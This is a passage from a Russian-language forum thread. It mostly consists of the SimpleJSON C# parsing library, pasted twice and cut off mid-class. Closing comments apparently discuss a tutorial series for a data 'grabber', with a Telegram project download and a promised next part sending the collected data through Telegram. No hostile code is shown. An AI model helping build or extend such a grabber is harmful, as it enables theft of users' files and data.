m_Enumerator.MoveNext(); } public KeyEnumerator GetEnumerator() { return this; } } public class LinqEnumerator : IEnumerator<KeyValuePair<string, JSONNode>>, IEnumerable<KeyValuePair<string, JSONNode>> { private JSONNode m_Node; private Enumerator m_Enumerator; internal LinqEnumerator(JSONNode aNode) { m_Node = aNode; if (m_Node != null) m_Enumerator = m_Node.GetEnumerator(); } public KeyValuePair<string, JSONNode> Current { get { return m_Enumerator.Current; } } object IEnumerator.Current { get { return m_Enumerator.Current; } } public bool MoveNext() { return m_Enumerator.MoveNext(); } public void Dispose() { m_Node = null; m_Enumerator = new Enumerator(); } public IEnumerator<KeyValuePair<string, JSONNode>> GetEnumerator() { return new LinqEnumerator(m_Node); } public void Reset() { if (m_Node != null) m_Enumerator = m_Node.GetEnumerator(); } IEnumerator IEnumerable.GetEnumerator() { return new LinqEnumerator(m_Node); } } #endregion Enumerators #region common interface public static bool forceASCII = false; // Use Unicode by default public static bool longAsString = false; // lazy creator creates a JSONString instead of JSONNumber public static bool allowLineComments = true; // allow "//"-style comments at the end of a line public abstract JSONNodeType Tag { get; } public virtual JSONNode this[int aIndex] { get { return null; } set { } } public virtual JSONNode this[string aKey] { get { return null; } set { } } public virtual string Value { get { return ""; } set { } } public virtual int Count { get { return 0; } } public virtual bool IsNumber { get { return false; } } public virtual bool IsString { get { return false; } } public virtual bool IsBoolean { get { return false; } } public virtual bool IsNull { get { return false; } } public virtual bool IsArray { get { return false; } } public virtual bool IsObject { get { return false; } } public virtual bool Inline { get { return false; } set { } } public virtual void Add(string aKey, JSONNode aItem) { } public virtual void Add(JSONNode aItem) { Add("", aItem); } public virtual JSONNode Remove(string aKey) { return null; } public virtual JSONNode Remove(int aIndex) { return null; } public virtual JSONNode Remove(JSONNode aNode) { return aNode; } public virtual JSONNode Clone() { return null; } public virtual IEnumerable<JSONNode> Children { get { yield break; } } public IEnumerable<JSONNode> DeepChildren { get { foreach (var C in Children) foreach (var D in C.DeepChildren) yield return D; } } public virtual bool HasKey(string aKey) { return false; } public virtual JSONNode GetValueOrDefault(string aKey, JSONNode aDefault) { return aDefault; } public override string ToString() { StringBuilder sb = new StringBuilder(); WriteToStringBuilder(sb, 0, 0, JSONTextMode.Compact); return sb.ToString(); } public virtual string ToString(int aIndent) { StringBuilder sb = new StringBuilder(); WriteToStringBuilder(sb, 0, aIndent, JSONTextMode.Indent); return sb.ToString(); } internal abstract void WriteToStringBuilder(StringBuilder aSB, int aIndent, int aIndentInc, JSONTextMode aMode); public abstract Enumerator GetEnumerator(); public IEnumerable<KeyValuePair<string, JSONNode>> Linq { get { return new LinqEnumerator(this); } } public KeyEnumerator Keys { get { return new KeyEnumerator(GetEnumerator()); } } public ValueEnumerator Values { get { return new ValueEnumerator(GetEnumerator()); } } #endregion common interface #region typecasting properties public virtual double AsDouble { get { double v = 0.0; if (double.TryParse(Value, NumberStyles.Float, CultureInfo.InvariantCulture, out v)) return v; return 0.0; } set { Value = value.ToString(CultureInfo.InvariantCulture); } } public virtual int AsInt { get { return (int)AsDouble; } set { AsDouble = value; } } public virtual float AsFloat { get { return (float)AsDouble; } set { AsDouble = value; } } public virtual bool AsBool { get { bool v = false; if (bool.TryParse(Value, out v)) return v; return !string.IsNullOrEmpty(Value); } set { Value = (value) ? "true" : "false"; } } public virtual long AsLong { get { long val = 0; if (long.TryParse(Value, out val)) return val; return 0L; } set { Value = value.ToString(); } } public virtual JSONArray AsArray { get { return this as JSONArray; } } public virtual JSONObject AsObject { get { return this as JSONObject; } } #endregion typecasting properties #region operators public static implicit operator JSONNode(string s) { return new JSONString(s); } public static implicit operator string(JSONNode d) { return (d == null) ? null : d.Value; } public static implicit operator JSONNode(double n) { return new JSONNumber(n); } public static implicit operator double(JSONNode d) { return (d == null) ? 0 : d.AsDouble; } public static implicit operator JSONNode(float n) { return new JSONNumber(n); } public static implicit operator float(JSONNode d) { return (d == null) ? 0 : d.AsFloat; } public static implicit operator JSONNode(int n) { return new JSONNumber(n); } public static implicit operator int(JSONNode d) { return (d == null) ? 0 : d.AsInt; } public static implicit operator JSONNode(long n) { if (longAsString) return new JSONString(n.ToString()); return new JSONNumber(n); } public static implicit operator long(JSONNode d) { return (d == null) ? 0L : d.AsLong; } public static implicit operator JSONNode(bool b) { return new JSONBool(b); } public static implicit operator bool(JSONNode d) { return (d == null) ? false : d.AsBool; } public static implicit operator JSONNode(KeyValuePair<string, JSONNode> aKeyValue) { return aKeyValue.Value; } public static bool operator ==(JSONNode a, object b) { if (ReferenceEquals(a, b)) return true; bool aIsNull = a is JSONNull || ReferenceEquals(a, null) || a is JSONLazyCreator; bool bIsNull = b is JSONNull || ReferenceEquals(b, null) || b is JSONLazyCreator; if (aIsNull && bIsNull) return true; return !aIsNull && a.Equals(b); } public static bool operator !=(JSONNode a, object b) { return !(a == b); } public override bool Equals(object obj) { return ReferenceEquals(this, obj); } public override int GetHashCode() { return base.GetHashCode(); } #endregion operators [ThreadStatic] private static StringBuilder m_EscapeBuilder; internal static StringBuilder EscapeBuilder { get { if (m_EscapeBuilder == null) m_EscapeBuilder = new StringBuilder(); return m_EscapeBuilder; } } internal static string Escape(string aText) { var sb = EscapeBuilder; sb.Length = 0; if (sb.Capacity < aText.Length + aText.Length / 10) sb.Capacity = aText.Length + aText.Length / 10; foreach (char c in aText) { switch (c) { case '\\': sb.Append("\\\\"); break; case '\"': sb.Append("\\\""); break; case '\n': sb.Append("\\n"); break; case '\r': sb.Append("\\r"); break; case '\t': sb.Append("\\t"); break; case '\b': sb.Append("\\b"); break; case '\f': sb.Append("\\f"); break; default: if (c < ' ' || (forceASCII && c > 127)) { ushort val = c; sb.Append("\\u").Append(val.ToString("X4")); } else sb.Append(c); break; } } string result = sb.ToString(); sb.Length = 0; return result; } private static JSONNode ParseElement(string token, bool quoted) { if (quoted) return token; string tmp = token.ToLower(); if (tmp == "false" || tmp == "true") return tmp == "true"; if (tmp == "null") return JSONNull.CreateOrGet(); double val; if (double.TryParse(token, NumberStyles.Float, CultureInfo.InvariantCulture, out val)) return val; else return token; } public static JSONNode Parse(string aJSON) { Stack<JSONNode> stack = new Stack<JSONNode>(); JSONNode ctx = null; int i = 0; StringBuilder Token = new StringBuilder(); string TokenName = ""; bool QuoteMode = false; bool TokenIsQuoted = false; while (i < aJSON.Length) { switch (aJSON[i]) { case '{': if (QuoteMode) { Token.Append(aJSON[i]); break; } stack.Push(new JSONObject()); if (ctx != null) { ctx.Add(TokenName, stack.Peek()); } TokenName = ""; Token.Length = 0; ctx = stack.Peek(); break; case '[': if (QuoteMode) { Token.Append(aJSON[i]); break; } stack.Push(new JSONArray()); if (ctx != null) { ctx.Add(TokenName, stack.Peek()); } TokenName = ""; Token.Length = 0; ctx = stack.Peek(); break; case '}': case ']': if (QuoteMode) { Token.Append(aJSON[i]); break; } if (stack.Count == 0) throw new Exception("JSON Parse: Too many closing brackets"); stack.Pop(); if (Token.Length > 0 || TokenIsQuoted) ctx.Add(TokenName, ParseElement(Token.ToString(), TokenIsQuoted)); TokenIsQuoted = false; TokenName = ""; Token.Length = 0; if (stack.Count > 0) ctx = stack.Peek(); break; case ':': if (QuoteMode) { Token.Append(aJSON[i]); break; } TokenName = Token.ToString(); Token.Length = 0; TokenIsQuoted = false; break; case '"': QuoteMode ^= true; TokenIsQuoted |= QuoteMode; break; case ',': if (QuoteMode) { Token.Append(aJSON[i]); break; } if (Token.Length > 0 || TokenIsQuoted) ctx.Add(TokenName, ParseElement(Token.ToString(), TokenIsQuoted)); TokenIsQuoted = false; TokenName = ""; Token.Length = 0; TokenIsQuoted = false; break; case '\r': case '\n': break; case ' ': case '\t': if (QuoteMode) Token.Append(aJSON[i]); break; case '\\': ++i; if (QuoteMode) { char C = aJSON[i]; switch (C) { case 't': Token.Append('\t'); break; case 'r': Token.Append('\r'); break; case 'n': Token.Append('\n'); break; case 'b': Token.Append('\b'); break; case 'f': Token.Append('\f'); break; case 'u': { string s = aJSON.Substring(i + 1, 4); Token.Append((char)int.Parse( s, System.Globalization.NumberStyles.AllowHexSpecifier)); i += 4; break; } default: Token.Append(C); break; } } break; case '/': if (allowLineComments && !QuoteMode && i + 1 < aJSON.Length && aJSON[i + 1] == '/') { while (++i < aJSON.Length && aJSON[i] != '\n' && aJSON[i] != '\r') ; break; } Token.Append(aJSON[i]); break; case '\uFEFF': // remove / ignore BOM (Byte Order Mark) break; default: Token.Append(aJSON[i]); break; } ++i; } if (QuoteMode) { throw new Exception("JSON Parse: Quotation marks seems to be messed up."); } if (ctx == null) return ParseElement(Token.ToString(), TokenIsQuoted); return ctx; } } // End of JSONNode public partial class JSONArray : JSONNode { private List<JSONNode> m_List = new List<JSONNode>(); private bool inline = false; public override bool Inline { get { return inline; } set { inline = value; } } public override JSONNodeType Tag { get { return JSONNodeType.Array; } } public override bool IsArray { get { return true; } } public override Enumerator GetEnumerator() { return new Enumerator(m_List.GetEnumerator()); } public override JSONNode this[int aIndex] { get { if (aIndex < 0 || aIndex >= m_List.Count) return new JSONLazyCreator(this); return m_List[aIndex]; } set { if (value == null) value = JSONNull.CreateOrGet(); if (aIndex < 0 || aIndex >= m_List.Count) m_List.Add(value); else m_List[aIndex] = value; } } public override JSONNode this[string aKey] { get { return new JSONLazyCreator(this); } set { if (value == null) value = JSONNull.CreateOrGet(); m_List.Add(value); } } public override int Count { get { return m_List.Count; } } public override void Add(string aKey, JSONNode aItem) { if (aItem == null) aItem = JSONNull.CreateOrGet(); m_List.Add(aItem); } public override JSONNode Remove(int aIndex) { if (aIndex < 0 || aIndex >= m_List.Count) return null; JSONNode tmp = m_List[aIndex]; m_List.RemoveAt(aIndex); return tmp; } public override JSONNode Remove(JSONNode aNode) { m_List.Remove(aNode); return aNode; } public override JSONNode Clone() { var node = new JSONArray(); node.m_List.Capacity = m_List.Capacity; foreach (var n in m_List) { if (n != null) node.Add(n.Clone()); else node.Add(null); } return node; } public override IEnumerable<JSONNode> Children { get { foreach (JSONNode N in m_List) yield return N; } } internal override void WriteToStringBuilder(StringBuilder aSB, int aIndent, int aIndentInc, JSONTextMode aMode) { aSB.Append('['); int count = m_List.Count; if (inline) aMode = JSONTextMode.Compact; for (int i = 0; i < count; i++) { if (i > 0) aSB.Append(','); if (aMode == JSONTextMode.Indent) aSB.AppendLine(); if (aMode == JSONTextMode.Indent) aSB.Append(' ', aIndent + aIndentInc); m_List[i].WriteToStringBuilder(aSB, aIndent + aIndentInc, aIndentInc, aMode); } if (aMode == JSONTextMode.Indent) aSB.AppendLine().Append(' ', aIndent); aSB.Append(']'); } } // End of JSONArray public partial class JSONObject : JSONNode { private Dictionary<string, JSONNode> m_Dict = new Dictionary<string, JSONNode>(); private bool inline = false; public override bool Inline { get { return inline; } set { inline = value; } } public override JSONNodeType Tag Код using System; using System.Linq; using System.Text; using System.Collections; using System.Globalization; using System.Collections.Generic; namespace SimpleJSON { public enum JSONNodeType { Array = 1, Object = 2, String = 3, Number = 4, NullValue = 5, Boolean = 6, None = 7, Custom = 0xFF, } public enum JSONTextMode { Compact, Indent } public abstract partial class JSONNode { #region Enumerators public struct Enumerator { private enum Type { None, Array, Object } private Type type; private Dictionary<string, JSONNode>.Enumerator m_Object; private List<JSONNode>.Enumerator m_Array; public bool IsValid { get { return type != Type.None; } } public Enumerator(List<JSONNode>.Enumerator aArrayEnum) { type = Type.Array; m_Object = default(Dictionary<string, JSONNode>.Enumerator); m_Array = aArrayEnum; } public Enumerator(Dictionary<string, JSONNode>.Enumerator aDictEnum) { type = Type.Object; m_Object = aDictEnum; m_Array = default(List<JSONNode>.Enumerator); } public KeyValuePair<string, JSONNode> Current { get { if (type == Type.Array) return new KeyValuePair<string, JSONNode>(string.Empty, m_Array.Current); else if (type == Type.Object) return m_Object.Current; return new KeyValuePair<string, JSONNode>(string.Empty, null); } } public bool MoveNext() { if (type == Type.Array) return m_Array.MoveNext(); else if (type == Type.Object) return m_Object.MoveNext(); return false; } } public struct ValueEnumerator { private Enumerator m_Enumerator; public ValueEnumerator(List<JSONNode>.Enumerator aArrayEnum) : this(new Enumerator(aArrayEnum)) { } public ValueEnumerator(Dictionary<string, JSONNode>.Enumerator aDictEnum) : this(new Enumerator(aDictEnum)) { } public ValueEnumerator(Enumerator aEnumerator) { m_Enumerator = aEnumerator; } public JSONNode Current { get { return m_Enumerator.Current.Value; } } public bool MoveNext() { return m_Enumerator.MoveNext(); } public ValueEnumerator GetEnumerator() { return this; } } public struct KeyEnumerator { private Enumerator m_Enumerator; public KeyEnumerator(List<JSONNode>.Enumerator aArrayEnum) : this(new Enumerator(aArrayEnum)) { } public KeyEnumerator(Dictionary<string, JSONNode>.Enumerator aDictEnum) : this(new Enumerator(aDictEnum)) { } public KeyEnumerator(Enumerator aEnumerator) { m_Enumerator = aEnumerator; } public string Current { get { return m_Enumerator.Current.Key; } } public bool MoveNext() { return m_Enumerator.MoveNext(); } public KeyEnumerator GetEnumerator() { return this; } } public class LinqEnumerator : IEnumerator<KeyValuePair<string, JSONNode>>, IEnumerable<KeyValuePair<string, JSONNode>> { private JSONNode m_Node; private Enumerator m_Enumerator; internal LinqEnumerator(JSONNode aNode) { m_Node = aNode; if (m_Node != null) m_Enumerator = m_Node.GetEnumerator(); } public KeyValuePair<string, JSONNode> Current { get { return m_Enumerator.Current; } } object IEnumerator.Current { get { return m_Enumerator.Current; } } public bool MoveNext() { return m_Enumerator.MoveNext(); } public void Dispose() { m_Node = null; m_Enumerator = new Enumerator(); } public IEnumerator<KeyValuePair<string, JSONNode>> GetEnumerator() { return new LinqEnumerator(m_Node); } public void Reset() { if (m_Node != null) m_Enumerator = m_Node.GetEnumerator(); } IEnumerator IEnumerable.GetEnumerator() { return new LinqEnumerator(m_Node); } } #endregion Enumerators #region common interface public static bool forceASCII = false; // Use Unicode by default public static bool longAsString = false; // lazy creator creates a JSONString instead of JSONNumber public static bool allowLineComments = true; // allow "//"-style comments at the end of a line public abstract JSONNodeType Tag { get; } public virtual JSONNode this[int aIndex] { get { return null; } set { } } public virtual JSONNode this[string aKey] { get { return null; } set { } } public virtual string Value { get { return ""; } set { } } public virtual int Count { get { return 0; } } public virtual bool IsNumber { get { return false; } } public virtual bool IsString { get { return false; } } public virtual bool IsBoolean { get { return false; } } public virtual bool IsNull { get { return false; } } public virtual bool IsArray { get { return false; } } public virtual bool IsObject { get { return false; } } public virtual bool Inline { get { return false; } set { } } public virtual void Add(string aKey, JSONNode aItem) { } public virtual void Add(JSONNode aItem) { Add("", aItem); } public virtual JSONNode Remove(string aKey) { return null; } public virtual JSONNode Remove(int aIndex) { return null; } public virtual JSONNode Remove(JSONNode aNode) { return aNode; } public virtual JSONNode Clone() { return null; } public virtual IEnumerable<JSONNode> Children { get { yield break; } } public IEnumerable<JSONNode> DeepChildren { get { foreach (var C in Children) foreach (var D in C.DeepChildren) yield return D; } } public virtual bool HasKey(string aKey) { return false; } public virtual JSONNode GetValueOrDefault(string aKey, JSONNode aDefault) { return aDefault; } public override string ToString() { StringBuilder sb = new StringBuilder(); WriteToStringBuilder(sb, 0, 0, JSONTextMode.Compact); return sb.ToString(); } public virtual string ToString(int aIndent) { StringBuilder sb = new StringBuilder(); WriteToStringBuilder(sb, 0, aIndent, JSONTextMode.Indent); return sb.ToString(); } internal abstract void WriteToStringBuilder(StringBuilder aSB, int aIndent, int aIndentInc, JSONTextMode aMode); public abstract Enumerator GetEnumerator(); public IEnumerable<KeyValuePair<string, JSONNode>> Linq { get { return new LinqEnumerator(this); } } public KeyEnumerator Keys { get { return new KeyEnumerator(GetEnumerator()); } } public ValueEnumerator Values { get { return new ValueEnumerator(GetEnumerator()); } } #endregion common interface #region typecasting properties public virtual double AsDouble { get { double v = 0.0; if (double.TryParse(Value, NumberStyles.Float, CultureInfo.InvariantCulture, out v)) return v; return 0.0; } set { Value = value.ToString(CultureInfo.InvariantCulture); } } public virtual int AsInt { get { return (int)AsDouble; } set { AsDouble = value; } } public virtual float AsFloat { get { return (float)AsDouble; } set { AsDouble = value; } } public virtual bool AsBool { get { bool v = false; if (bool.TryParse(Value, out v)) return v; return !string.IsNullOrEmpty(Value); } set { Value = (value) ? "true" : "false"; } } public virtual long AsLong { get { long val = 0; if (long.TryParse(Value, out val)) return val; return 0L; } set { Value = value.ToString(); } } public virtual JSONArray AsArray { get { return this as JSONArray; } } public virtual JSONObject AsObject { get { return this as JSONObject; } } #endregion typecasting properties #region operators public static implicit operator JSONNode(string s) { return new JSONString(s); } public static implicit operator string(JSONNode d) { return (d == null) ? null : d.Value; } public static implicit operator JSONNode(double n) { return new JSONNumber(n); } public static implicit operator double(JSONNode d) { return (d == null) ? 0 : d.AsDouble; } public static implicit operator JSONNode(float n) { return new JSONNumber(n); } public static implicit operator float(JSONNode d) { return (d == null) ? 0 : d.AsFloat; } public static implicit operator JSONNode(int n) { return new JSONNumber(n); } public static implicit operator int(JSONNode d) { return (d == null) ? 0 : d.AsInt; } public static implicit operator JSONNode(long n) { if (longAsString) return new JSONString(n.ToString()); return new JSONNumber(n); } public static implicit operator long(JSONNode d) { return (d == null) ? 0L : d.AsLong; } public static implicit operator JSONNode(bool b) { return new JSONBool(b); } public static implicit operator bool(JSONNode d) { return (d == null) ? false : d.AsBool; } public static implicit operator JSONNode(KeyValuePair<string, JSONNode> aKeyValue) { return aKeyValue.Value; } public static bool operator ==(JSONNode a, object b) { if (ReferenceEquals(a, b)) return true; bool aIsNull = a is JSONNull || ReferenceEquals(a, null) || a is JSONLazyCreator; bool bIsNull = b is JSONNull || ReferenceEquals(b, null) || b is JSONLazyCreator; if (aIsNull && bIsNull) return true; return !aIsNull && a.Equals(b); } public static bool operator !=(JSONNode a, object b) { return !(a == b); } public override bool Equals(object obj) { return ReferenceEquals(this, obj); } public override int GetHashCode() { return base.GetHashCode(); } #endregion operators [ThreadStatic] private static StringBuilder m_EscapeBuilder; internal static StringBuilder EscapeBuilder { get { if (m_EscapeBuilder == null) m_EscapeBuilder = new StringBuilder(); return m_EscapeBuilder; } } internal static string Escape(string aText) { var sb = EscapeBuilder; sb.Length = 0; if (sb.Capacity < aText.Length + aText.Length / 10) sb.Capacity = aText.Length + aText.Length / 10; foreach (char c in aText) { switch (c) { case '\\': sb.Append("\\\\"); break; case '\"': sb.Append("\\\""); break; case '\n': sb.Append("\\n"); break; case '\r': sb.Append("\\r"); break; case '\t': sb.Append("\\t"); break; case '\b': sb.Append("\\b"); break; case '\f': sb.Append("\\f"); break; default: if (c < ' ' || (forceASCII && c > 127)) { ushort val = c; sb.Append("\\u").Append(val.ToString("X4")); } else sb.Append(c); break; } } string result = sb.ToString(); sb.Length = 0; return result; } private static JSONNode ParseElement(string token, bool quoted) { if (quoted) return token; string tmp = token.ToLower(); if (tmp == "false" || tmp == "true") return tmp == "true"; if (tmp == "null") return JSONNull.CreateOrGet(); double val; if (double.TryParse(token, NumberStyles.Float, CultureInfo.InvariantCulture, out val)) return val; else return token; } public static JSONNode Parse(string aJSON) { Stack<JSONNode> stack = new Stack<JSONNode>(); JSONNode ctx = null; int i = 0; StringBuilder Token = new StringBuilder(); string TokenName = ""; bool QuoteMode = false; bool TokenIsQuoted = false; while (i < aJSON.Length) { switch (aJSON[i]) { case '{': if (QuoteMode) { Token.Append(aJSON[i]); break; } stack.Push(new JSONObject()); if (ctx != null) { ctx.Add(TokenName, stack.Peek()); } TokenName = ""; Token.Length = 0; ctx = stack.Peek(); break; case '[': if (QuoteMode) { Token.Append(aJSON[i]); break; } stack.Push(new JSONArray()); if (ctx != null) { ctx.Add(TokenName, stack.Peek()); } TokenName = ""; Token.Length = 0; ctx = stack.Peek(); break; case '}': case ']': if (QuoteMode) { Token.Append(aJSON[i]); break; } if (stack.Count == 0) throw new Exception("JSON Parse: Too many closing brackets"); stack.Pop(); if (Token.Length > 0 || TokenIsQuoted) ctx.Add(TokenName, ParseElement(Token.ToString(), TokenIsQuoted)); TokenIsQuoted = false; TokenName = ""; Token.Length = 0; if (stack.Count > 0) ctx = stack.Peek(); break; case ':': if (QuoteMode) { Token.Append(aJSON[i]); break; } TokenName = Token.ToString(); Token.Length = 0; TokenIsQuoted = false; break; case '"': QuoteMode ^= true; TokenIsQuoted |= QuoteMode; break; case ',': if (QuoteMode) { Token.Append(aJSON[i]); break; } if (Token.Length > 0 || TokenIsQuoted) ctx.Add(TokenName, ParseElement(Token.ToString(), TokenIsQuoted)); TokenIsQuoted = false; TokenName = ""; Token.Length = 0; TokenIsQuoted = false; break; case '\r': case '\n': break; case ' ': case '\t': if (QuoteMode) Token.Append(aJSON[i]); break; case '\\': ++i; if (QuoteMode) { char C = aJSON[i]; switch (C) { case 't': Token.Append('\t'); break; case 'r': Token.Append('\r'); break; case 'n': Token.Append('\n'); break; case 'b': Token.Append('\b'); break; case 'f': Token.Append('\f'); break; case 'u': { string s = aJSON.Substring(i + 1, 4); Token.Append((char)int.Parse( s, System.Globalization.NumberStyles.AllowHexSpecifier)); i += 4; break; } default: Token.Append(C); break; } } break; case '/': if (allowLineComments && !QuoteMode && i + 1 < aJSON.Length && aJSON[i + 1] == '/') { while (++i < aJSON.Length && aJSON[i] != '\n' && aJSON[i] != '\r') ; break; } Token.Append(aJSON[i]); break; case '\uFEFF': // remove / ignore BOM (Byte Order Mark) break; default: Token.Append(aJSON[i]); break; } ++i; } if (QuoteMode) { throw new Exception("JSON Parse: Quotation marks seems to be messed up."); } if (ctx == null) return ParseElement(Token.ToString(), TokenIsQuoted); return ctx; } } // End of JSONNode public partial class JSONArray : JSONNode { private List<JSONNode> m_List = new List<JSONNode>(); private bool inline = false; public override bool Inline { get { return inline; } set { inline = value; } } public override JSONNodeType Tag { get { return JSONNodeType.Array; } } public override bool IsArray { get { return true; } } public override Enumerator GetEnumerator() { return new Enumerator(m_List.GetEnumerator()); } public override JSONNode this[int aIndex] { get { if (aIndex < 0 || aIndex >= m_List.Count) return new JSONLazyCreator(this); return m_List[aIndex]; } set { if (value == null) value = JSONNull.CreateOrGet(); if (aIndex < 0 || aIndex >= m_List.Count) m_List.Add(value); else m_List[aIndex] = value; } } public override JSONNode this[string aKey] { get { return new JSONLazyCreator(this); } set { if (value == null) value = JSONNull.CreateOrGet(); m_List.Add(value); } } public override int Count { get { return m_List.Count; } } public override void Add(string aKey, JSONNode aItem) { if (aItem == null) aItem = JSONNull.CreateOrGet(); m_List.Add(aItem); } public override JSONNode Remove(int aIndex) { if (aIndex < 0 || aIndex >= m_List.Count) return null; JSONNode tmp = m_List[aIndex]; m_List.RemoveAt(aIndex); return tmp; } public override JSONNode Remove(JSONNode aNode) { m_List.Remove(aNode); return aNode; } public override JSONNode Clone() { var node = new JSONArray(); node.m_List.Capacity = m_List.Capacity; foreach (var n in m_List) { if (n != null) node.Add(n.Clone()); else node.Add(null); } return node; } public override IEnumerable<JSONNode> Children { get { foreach (JSONNode N in m_List) yield return N; } } internal override void WriteToStringBuilder(StringBuilder aSB, int aIndent, int aIndentInc, JSONTextMode aMode) { aSB.Append('['); int count = m_List.Count; if (inline) aMode = JSONTextMode.Compact; for (int i = 0; i < count; i++) { if (i > 0) aSB.Append(','); if (aMode == JSONTextMode.Indent) aSB.AppendLine(); if (aMode == JSONTextMode.Indent) aSB.Append(' ', aIndent + aIndentInc); m_List[i].WriteToStringBuilder(aSB, aIndent + aIndentInc, aIndentInc, aMode); } if (aMode == JSONTextMode.Indent) aSB.AppendLine().Append(' ', aIndent); aSB.Append(']'); } } // End of JSONArray public partial class JSONObject : JSONNode { private Dictionary<string, JSONNode> m_Dict = new Dictionary<string, JSONNode>(); private bool inline = false; public override bool Inline { get { return inline; } set { inline = value; } } public override JSONNodeType Tag --- Сообщение объединено с предыдущим 22 мар 2022 А как ты находишь уже готовые src: JSON, SQLITE? Скинь инфу плз
как я понель надо превезать грабер но если я меняю Files на GrabbingFiles мне предлагает создать новый метод что делать надеюсь вопрос не слишком тупой
hoptdde, Дело в том, что, видимо класса Files у тебя нет, переименуй GrabbingFiles на Files, а лучше скачай проект в тг.
SparkXtrm, да, конечно, в следующей части будет реализован отправка данных через телеграмм. Если хочешь сам, глянь telegram api.